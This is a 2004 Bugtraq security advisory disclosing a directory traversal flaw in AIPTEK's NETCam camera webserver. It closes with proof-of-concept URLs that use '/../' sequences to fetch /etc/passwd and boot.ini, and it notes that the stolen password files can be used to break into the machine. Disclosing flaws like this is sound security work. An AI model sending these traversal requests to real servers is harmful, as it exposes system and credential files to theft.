[33144] in bugtraq
NETCam webserver Directory traversal bug
daemon@ATHENA.MIT.EDU (Rafel Ivgi, The-Insider)
Tue Jan 20 11:27:48 2004
Message-ID: <000501c3df6b$ce594f00$0b3016ac@fucku>
Reply-To: "Rafel Ivgi, The-Insider" <theinsider@012.net.il>
From: "Rafel Ivgi, The-Insider" <theinsider@012.net.il>
To: <bugtraq@securityfocus.com>
Date: Tue, 20 Jan 2004 17:41:01 +0200
MIME-Version: 1.0
Content-Type: text/plain;
charset="windows-1255"
Content-Transfer-Encoding: 7bit
#######################################################################
Application: NETCam webserver running NETCam Viewer 1.0.0.28
Vendor: http://www.aiptek.com/
Versions: <= 1.0.0.28
Platforms: Windows/Unix
Bug: Directory traversal bug
Risk: High
Exploitation: remote with browser
Date: 14 Jan 2003
Author: Rafel Ivgi, The-Insider
e-mail: the_insider@mail.com
web: http://theinsider.deep-ice.com
#######################################################################
1) Introduction
2) Bug
3) The Code
#######################################################################
===============
1) Introduction
===============
AIPTEK's cameras webserver is used as a webserver for watching security
cameras remotly.
It allows broadcasting live streaming video on the web through the built-in
webserver.
The server also allows live video capture.
#######################################################################
======
2) Bug
======
The webserver uses no protection to avoid the directory traversal bug.
The problem happens when the attacker uses the classic pattern "/../" that
allows him to see and download any file in the remote system knowing the
path.
This allows any attacker to : Read and download any local file, and in most
cases retrieve the machine's password files and invade it (using
ssh,ftp,http,netbios,samba etc...).
#######################################################################
===========
3) The Code
===========
http://<host>/../etc/passwd
http://<host>/../../etc/passwd
http://<host>/../../../boot.ini
http://<host>/../../../../boot.ini
#######################################################################
---
Rafel Ivgi, The-Insider
http://theinsider.deep-ice.com
"Things that are unlikeable, are NOT impossible."